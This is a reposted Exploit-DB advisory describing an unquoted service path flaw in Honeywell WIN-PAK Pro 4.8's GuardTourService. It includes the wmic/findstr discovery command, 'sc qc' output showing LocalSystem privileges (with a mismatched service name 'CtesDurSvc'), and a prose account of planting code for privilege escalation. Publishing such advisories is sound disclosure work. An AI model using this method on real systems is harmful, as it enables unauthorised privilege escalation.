Winpakpro 4.8 – ‘GuardTourService’ Unquoted Service Path - 体验盒子

作者： Alan Mondragon

日期： 2021-03-22

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/49690/

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# Exploit Title: Winpakpro 4.8 - 'GuardTourService' Unquoted Service Path

# Discovery by: Alan Mondragon

# Discovery Date: 2021-03-16

# Vendor Homepage: https://www.security.honeywell.com/product-repository/winpak

# Software Links : https://www.security.honeywell.com/product-repository/winpak

# WinPackPro

# Tested Version: 4.8

# Vulnerability Type: Unquoted Service Path

# Tested on OS: Windows 10 Pro 64 bits

# Step to discover Unquoted Service Path:

C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

WIN-PAK Guard Tour Server GuardTourServiceC:\Program Files <x86>\WINPAKPRO\WP GuardTour Service.exe Auto

C:\Users\jorge.irigoyen>sc qc "GuardTourService"

[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: CtesDurSvc

TIPO : 10WIN32_OWN_PROCESS

TIPO_INICIO: 2 AUTO_START <DELAYED>

CONTROL_ERROR: 1 NORMAL

NOMBRE_RUTA_BINARIO: C:\Program Files <x86>\WINPAKPRO\WP GuardTour Service.exe

GRUPO_ORDEN_CARGA:

ETIQUETA : 0

NOMBRE_MOSTRAR : WIN-PAK Guard Tour Server

DEPENDENCIAS : WPDatabaseService

NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.